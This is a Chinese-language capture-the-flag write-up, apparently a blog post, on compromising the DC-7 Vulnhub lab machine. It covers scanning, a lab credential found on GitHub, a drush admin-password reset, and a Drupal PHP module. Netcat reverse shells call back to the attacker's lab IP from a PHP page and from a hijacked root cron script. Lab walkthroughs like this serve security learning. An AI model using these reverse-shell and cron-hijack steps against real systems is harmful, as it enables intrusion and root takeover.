首页 > 其他分享 >DC-7

DC-7

时间:2024-03-07 19:57:19浏览次数:41  
标签:bin admin DC dc usr drush dc7user

DC-7靶机渗透过程

kali的ip:192.168.56.101

主机扫描

arp-scan -l
nmap -sP 192.168.56.0/24
netdiscover -i eth0 -r 192.168.56.102/24 -i指定网卡 -r指定网段

靶机ip:192.168.56.106

端口扫描

nmap -A 192.168.56.106

开放了80,22端口

目录扫描

dirsearch -u http://192.168.56.106

有robots.txt,看来一下其实也没有什么东西

漏洞发现

社工发现登录账户

github上搜索Dc7User

查看配置文件,得到账户密码

账户名:dc7user
密码:MdR3xOgB7#dW
数据库名:Staff

登录不是web后台,那就试试ssh连接,发现可以连接上

ssh [email protected]

家目录里有

dc7user@dc-7:~$ ls
backups  mbox

一个backups文件夹,mbox文件

看一下mbox内容

Subject: Cron <root@dc-7> /opt/scripts/backups.sh

这有一个脚本文件,猜测可能是定时任务

看一下权限

dc7user@dc-7:~$ ls -al /opt/scripts/backups.sh
-rwxrwxr-x 1 root www-data 630 Mar  7 16:18 /opt/scripts/backups.sh

www-data有读,写,执行的权限

这里有个思路:

得到www-data权限,往backups.sh写shell,当root执行时,就可以返回root的shell

我这里先看一下,当前用户有什么可以利用的点吗

dc7user@dc-7:~$ find / -type f -perm -4000 2>/dev/null
/bin/su
/bin/ping
/bin/umount
/bin/mount
/usr/sbin/exim4
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/newgrp

还有exim4文件

发现还是4.89版本

dc7user@dc-7:~$ /usr/sbin/exim4 --version
Exim version 4.89 #2 built 20-Jul-2019 11:32:35

继续尝试一下dc8的脚本,发现并不能提权,这里我就不截图了

那我们就继续上面的思路

又找到一个文件夹

dc7user@dc-7:~$ cd .drush/
dc7user@dc-7:~/.drush$ ls
cache  drush.bashrc  drush.complete.sh  drush.prompt.sh  drushrc.ph

好像跟drush相关,百度一下吧

drush是drupal的一个管理工具

drush 常用命令

drush user-password admin --password="new_pass" 修改密码
drush upwd root --password="" 修改密码
drush user-information admin 查看用户信息

尝试查看admin用户信息,失败

进入到web目录,发现密码修改成功

dc7user@dc-7:~/.drush$ drush user-information admin                                                         Command user-information needs a higher bootstrap level to run - you will need to invoke drush from a more functional Drupal environment to run this command.  [error]      
dc7user@dc-7:~/.drush$ cd /var/www/html                                                                     dc7user@dc-7:/var/www/html$ drush user-information admin                                                     User ID       :  1                                                                                           User name     :  admin                                                                                       User mail     :  [email protected]                                                                           User roles    :  authenticated                                                                             administrator                                                                                               User status   :  1                                                         
dc7user@dc-7:/var/www/html$ drush upwd admin --password='123456'                                            
Changed password for admin                                   [success]

接下来,我们就可以登录网站了

登录web后台

发现可以编写网站文章,直接写php代码拿shell就行了,但Drupal 8不支持PHP代码,百度后知道Drupal 8后为了安全,需要将php单独作为一个模块导入

https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz

反弹shell

直接写入shell

<?php system("nc 192.168.56.101 9001 -e /bin/bash");?>

反弹到kali,得到www-data用户

提权

再将shell写入backups.sh

echo 'nc -e /bin/bash 192.168.56.101 1234' >> backups.sh

监听1234端口

之后等待定时任务执行就行

image-20240307193855462

总结

drush是Drupal的命令行shell和Unix脚本接口,用于管理drupal网站

靶机相关知识点:

github社工找源码,crontab的东西

标签:bin,admin,DC,dc,usr,drush,dc7user
From: https://www.cnblogs.com/C0rr3ct/p/18059618

相关文章

  • BDC问题汇总
    定义DATA:gt_bdcdataTYPETABLEOFbdcdata,gs_bdcdataTYPEbdcdata.子程序FORMbdc_dynproUSINGprogramdynpro.gs_bdcdata-program=program.gs_bdcdata-dynpro=dynpro.gs_bdcdata-dynbegin='X'.APPENDgs_bdcdataTOgt_bdcdat......
  • Blazor笔记-Component RenderFragment / ChildContent
    更新记录注意:非教程。纯笔记,日常查询用的。需要教程的小伙伴找几本书看看即可哈哈,有Vue基础的话非常快,概念都是通的。非工作需要不建议深入学习Blazor,深入Vue吧,用的多,哈哈。完整目录地址:https://www.cnblogs.com/cqpanda/p/17596348.html点击查看2024年3月7日发布。2023......
  • FPGA的ADC采集部分学习整理
    adc采集部分还是很有用的,模数转换在很多地方都用得到。使用的EDA模块上的ADC芯片是adc128s102。逐次逼近型ADC(一般单片机用的都是逐次逼近型,速度较快,成本低)。8通道以及12位分辨率。这边手册上说模拟电源的VA输入范围为2.7V~5.25VADC芯片,接入8个模拟输入引脚,输入模拟量。IN0~IN......
  • 喜报|3DCAT成为国内首批适配Vision Pro内容开发者
    近日,苹果在上海总部举办了国内首场AppleVisionPro开发者实验室活动,3DCAT作为国内领先的实时渲染云平台参与了此次活动,成为国内首批适配VisionPro的内容开发者之一。VisionPro是苹果于2023年6月发布的首个空间计算设备,它开创了一类新的计算设备,能将数字世界融入真实世界,......
  • 基于FPGA的二维DCT变换和逆变换verilog实现,包含testbench
    1.算法运行效果图预览    数据导入到matlab显示图像 2.算法运行软件版本vivado2019.2 matlab2022a 3.算法理论概述       离散余弦变换(DiscreteCosineTransform,DCT)是一种广泛应用于图像和信号处理领域的变换技术。在图像处理中,DCT常被用于图像压......
  • vulnhub靶机:dc3
    一:信息收集1:主机发现arp-scan-Ieth010.9.23.0/24kali的ip10.9.23.112靶机的ip10.4.9.23.2432:端口扫描nmap-A-p--T410.9.23.2433:端口探测提示要获取root权限4:目录遍历查看Wapplayzer信息:使用的Joomla系统,所以使用joomscan(Joomla漏洞扫描器)扫描器扫描:joom......
  • Nuxt3-tailwindcss使用
    Nuxt3使用 tailwindcss文档:https://www.tailwindcss.cn/docs/installation安装文档:https://tailwindcss.nuxtjs.org/getting-started/installation1、安装 @nuxtjs/tailwindcssyarnadd-D@nuxtjs/tailwindcss2、nuxt.config.ts中配置exportdefaultdefineNuxtConfig......
  • 记录一次WPF命令参数报错,InvalidCastException: T for DelegateCommand<T> is not an
    在使用WPF的时候对int或者bool类型进行绑定出现InvalidCastException:TforDelegateCommandisnotanobjectnorNullable.<ButtonWidth="200"Height="30"Content="按钮"Command="{BindingOpenCommand}"CommandParameter="{Binding......
  • leedcode 位1的数量
    自己写的classSolution:defhammingWeight(self,n:int)->int:#将整数n转换为二进制字符串,去除前缀'0b'n_str=bin(n)[2:]#用于存储'1'的列表res_li=[]#遍历二进制字符串的每一位foriinn_str:......
  • leedcode 颠倒二进制
    使用bin函数classSolution:defreverseBits(self,n:int)->int:#将整数n转换为二进制字符串,并用左0填充至32位binary_str=bin(n)[2:].zfill(32)#反转二进制字符串reversed_str=binary_str[::-1]#将反转后的......